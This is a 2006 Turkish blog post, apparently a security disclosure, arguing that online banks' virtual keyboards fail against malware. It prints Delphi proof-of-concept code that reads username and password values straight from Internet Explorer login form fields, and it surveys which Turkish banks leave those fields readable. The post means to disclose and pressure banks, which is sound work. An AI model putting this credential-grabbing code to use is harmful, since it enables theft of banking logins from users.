Sanal Klavyeler Ne Kadar Güvenli?
Artık hemen hemen tüm interaktif bankacılık şubelerinde sanal klavye seçeneği mevcut. Keylogger adı verilen programlardan haberi olanlar sanal klavyelere neden ihtiyaç duyulduğu hakkında fikir yürütebilirler. Keylogger adı verilen programlar arka planda çalışarak kullanıcının bastığı tuşları kaydederler ve sahiplerine ulaştırılar.Bu yazıda sanal klavyelerin keylogger ve benzeri tehditlere karşı neden yeterli olamayacağını kanıtlarıyla beraber açıklamaya çalışacağım. Yazımda bu tezi kanıtlamak için hazırladığım bir programın kaynak kodlarını da bulabilirsiniz. Program ile sanal klavye gibi popüler bir güvenlik katmanının ne kadar basit bir yolla atlatılabileceğini görmenizi istedim. Umarım suistimal edilmez. |
| Sanal Klavyelerin GeliÅŸim Evreleri |
Sanal klavyeler kullanıcı bilgilerini çalmak için tasarlanmış turuva yazılımlarına karşı bazı mutastyon evreleri geçirmek zorunda kalmışlardır. Aslında bu evreler turuva yazılımlarınkileri ile birebir aynıdır. Şöyleki;
|
Buraya kadar geçirilen evrelere raÄŸmen hala çok basit ve önemli bir noktadan hiç bahsedilmiyor. Bu da bir HTML text input’unu (HTML metin kutusu) okumanın, sistem genelinde çalışacak bir keylogger’a göre çok daha etkili olması. Sanırım bahsi geçen keylogger yazılımlarının “scrip kidie” denen programcı olmayan korsanlar tarafından kullanılması ve yayılması daha orjinal yöntemlerin göz ardı edilmesine -daha az kiÅŸi tarafından bilinmesine- neden oluyor.  DiÄŸer yandan aÅŸağıdaki kaynak koddan da görülebileceÄŸi gibi bir metin kutusunun okutulması iÅŸlemi programcılık açısından diÄŸer yöntemlere göre daha basit sayılabilir.
Sanal Klavyeleri Alt Etmek
Giriş sayfasında yapılan hareketlerin avi formatında kaydedilmesi korumanın alt edildiği bir yöntem olmasına rağmen ortaya çıkan büyük boyutlu dosyalar pratik kullanımını sınırlandırıyor.
Günümüzde sanal klavye kullanan interaktif bankacılık sayfalarının hepsinde, kullanıcının tuşladığı karakterler javascript ile birer birer standart input kutusuna ekleniyor ve daha sonra form olarak sunucuya gönderiliyor. Verilerin sunucuya gönderilmeden önceki son durağının form kutuları olması onları turuva yazılımları için hedef haline getirebilir. Form kutularının aşağıdaki fonksiyonla düzenli olarak taratılması ekranı kaydetmeye göre çok daha etkili bir yoldur.
try
ShellWindow := CoShellWindows.Create;
for k := 0 to ShellWindow.Count do
begin
spDisp := ShellWindow.Item(k);
if spDisp = nil then Continue;
spDisp.QueryInterface(iWebBrowser2, WB);
if WB <> nil then
begin
WB.Document.QueryInterface(IHTMLDocument2, iDoc1);
if iDoc1 <> nil then
begin
WB := ShellWindow.Item(k) as IWebbrowser2;
begin
Document := WB.Document;
if Pos(Title, Document.Title) <> 0 then
begin
Form1.Label1.Caption := UnField;
Form1.Label2.Caption := PwField;
Form1.un.Text := Document.getElementById(UnField).Value;
Form1.pw.Text := Document.getElementById(PwField).Value;
end;
end;
end;
end;
end;
except
end;
Sanal Klavyelerin Fonksiyonsuz Bırakılabileceğini Gösteren Uygulama
Programı ve Delphi kaynak kodlarını incelemek için buraya tıklayın. (~470KB)
Sanal Klavye Programı Hakkında
Bu yazıyı yazarken kodların ve açıklanan yöntemlerin kötü amaçlarla yeniden kullanılabileceği fikri beni rahatsız etmiyor değil. Fakat bu konulardan bahsetmemek birileri tarafından kötü amaçlarla uygulanmayacağı anlamına gelmiyor. Günümüzde birçok büyük bankanın hala web girişinde güvenliği konusuna gereken önemi vermemesi üzücü. Belki ilgili kişiler burada yazanları okurlar ve alınması gereken güvenlik önlemlerini herkesin faydası adına bir an önce alırlar. Son cümlelerim belki biraz sitemkar gelecek ama güncel tehditlere karşı bir güvenlik politikasının oluşturulması ve bu anlamda planlı bir süreçte uygulanması gerekiyro. Üzülerek söylüyorum ki hala güvenlik sistemlerini (yazılım/web uygulamaları/donanım sistemleri) ihaleye çıkarak ısmarlayan ve sorun oluştuğunda üslenici firmalardan telefonla destek sağlayan bankalar var.
Bankaların Bakış Açısı
Ne yazık ki, bankada hesaplarını açarken imzaladıkları şartnamelerle her türlü sorumluluğu müşterinin sırtına yükleyen bu kurumsal u*anıklar, doğal olarak bir sorumlulukları olmadığı için de güncel güvenlik önlemlerini almak için pek aceleci davranmıyorlar.
Güvenliği bir süreç haline döken ve ciddi politikalarla uygulayan bankalar da var. İsim vermeyeceğim ama aralarında bu politikaları müşteri için işkence haline getirenler de yok değil. Her iki tarafın mutluluğu açısından yüksek güvenlik ile konforun uygun bir ortasını bulmak gerekiyor.
Türkiye’deki Bankaların GiriÅŸ GüvenliÄŸi Açısından Mevcut Durumları
2006 yılı başında hazırlayıp da pek güncelleme şansı bulamadığım interaktif bankacılık incelemelerini vererek bu konuyu sonlandırmak istiyorum:
Garanti Güvenlik Kalkanı ile adındaki bir AcvtiveX yükleniyor. JaguarEdit yüklendiÄŸinde HTML parola giriÅŸ kutusu bu ActiveX ile deÄŸiÅŸtiriliyor. Keyloggerlar ve ekranı kaydeden programlara karşı tam çözüm. Ayrıca bu kutuların dışarıdan okunması da klasik yollarla mümkün olmuyor. Garanti bankasının yeni uygulamaya koyduÄŸu “Cep Åžifrematik” hizmeti ile cep telfonunuza yükleyeceÄŸiniz tekil bir program ile her seferinde (zamana baÄŸlı) deÄŸiÅŸen ÅŸifreler üretmeniz mümkün. Bir ÅŸekilde ÅŸifrenizin baÅŸkalarının eline geçme ihtimaline karşı bu önlem yüksek güvenlik saÄŸlıyor. Garanti Bankasını güvenlik konusuna gösterdiÄŸi titizlik için tebrik ediyorum.
Isbank interaktif giriş SSL, Sanal klavye ve bir parola zinciriyle korunmuş. Giriş kutularındaki verilerin okunmaması için bir önlem alınmamış.
Veri iletiÅŸimi SSL ile güvenlik altına alınmamış. Sanal klavye var ama screenlogger’lara karşı önlem yok. Keylogger lara karşı da önlem yok. Ayrıca sayfa kodlarında optimizasyon yok. Web deki kaynak kodlarının düzeni, kod güvenliÄŸi adına gereken hassasiyetin gösterilmemiÅŸ olma ihtimalini kuvvetlendiriyor.
SSL güvenliğinin yanında keylogger ve screenlogger lardan koruyan bir ActiveX denetimi olan JaguarEdit ile giriş koruması sağlanmış. Bu denetim ile giriş kutularının başka bir program tarafından okunması engellenmiş. İcelenenler arasında en güvenli kullanıcı girişlerinden biri de bu sitede sağlanmış.
SSL ile veri iletiÅŸimi korunmuÅŸ. Åžifre alanı için sanal klavye kullanma zorunlu hale getirilmiÅŸ. Bu keylogger’lara (Tus Kayıtçısı) karşı iyi bir önlem. Benzer ÅŸekilde screenlogger’lar (ekran kayıtçısı – hedeflenen pencerede farenin tıkladığı alanın fotografını çeker/veya tüm ekranı fotograflar) karşı sanal klavye üzerinde güzel bir önlem alınmış farenin onclick olayinda ilk iÅŸ olarak düğme etiketleri * karakteri replace edilmiÅŸ. Böylece bir screenlogger tarafından fotografı çekilse dahi hangi tuÅŸa tıklandığının anlaşılamayacağı düşünülmüş ama ekranın avi olarak kaydedilmesine karşı yeterli deÄŸil. Bütün bu güvenlik önlemlerinin yanında giriÅŸ kutularındaki bilgilerin okunmasına karşı da bir önlem alınmamış.
Asyafinans interaktif giriÅŸinin güvenliÄŸi sadece SSL’e emanet edilmiÅŸ. Sanal klavyesi yok. GiriÅŸ kutularının okunamaması için de bir önlem alınmamış.
İlk denememde güvenli bir girişe sahip değildi. Bu yazıyı yazarken sistemleri hizmet dışı olduğu için yeni bir açıklama yazamıyorum.- Kuveyt Türk Internet Şubesi
SSL ve sanal klavyeli giriÅŸ ile keylogger’lara karşı güvenlik saÄŸlanmış. GiriÅŸ kutuları okunabiliyor. Screenlogger’lara karşı güvenlik saÄŸlanmamış.
128 Bit SSL veri iletişimi güvenlik altına alınmış. Bunun dışında bir giriş güvenliği söz konusu değil.
SSL ve istenildiÄŸinde kullanılabilecek “PinPad” adında sanal klavye. Screenlogger ve keylogger’lara karşı güvenlik saÄŸlanmamış.- VakıfBank Internet 724
Vakıfbank interaktifinde de SSL den başka bir herhangi bir giriş güvenliği uygulaması yok.
Yazan: Tankado / 20 Ocak 2006

Turkish
English
Chinese
Artık hemen hemen tüm interaktif bankacılık şubelerinde sanal klavye seçeneği mevcut. Keylogger adı verilen programlardan haberi olanlar sanal klavyelere neden ihtiyaç duyulduğu hakkında fikir yürütebilirler. Keylogger adı verilen programlar arka planda çalışarak kullanıcının bastığı tuşları kaydederler ve sahiplerine ulaştırılar.Bu yazıda sanal klavyelerin keylogger ve benzeri tehditlere karşı neden yeterli olamayacağını kanıtlarıyla beraber açıklamaya çalışacağım. Yazımda bu tezi kanıtlamak için hazırladığım bir programın kaynak kodlarını da bulabilirsiniz. Program ile sanal klavye gibi popüler bir güvenlik katmanının ne kadar basit bir yolla atlatılabileceğini görmenizi istedim. Umarım suistimal edilmez.
Son denemeler OCR ile ekranın tümünü (ya da belirli kısımlarını) text e çevirip o ÅŸekilde loglamak… sadece keylogger ya da screen logger ÅŸifreyi ele geçirmek için yeterli gelmeyince daha tümleÅŸik sistemler geliÅŸtiriyorlar.
Keylogger programlar hakkında benim kadar bilgisi olan birisi için bile bu kadar ilginç gelen makaleniz için teşekkür ederim. Klavye ve fare işaretlerinin takip edildiğini bilmeme rağmen ekran görüntüsünün *.avi olarak kaydedildiğini ilk defa duyuyorum. Bilindiği üzere Türkiye genelinde faaliyet gösteren bankalar bu konuda hassasiyet göstermiyorlar. Son olarak çıkarılan cep şifre ve sms şifre güvenliği konusunda da bize bir bilgilendirme yaparsanız sevinirim. Tekrar teşekkürler.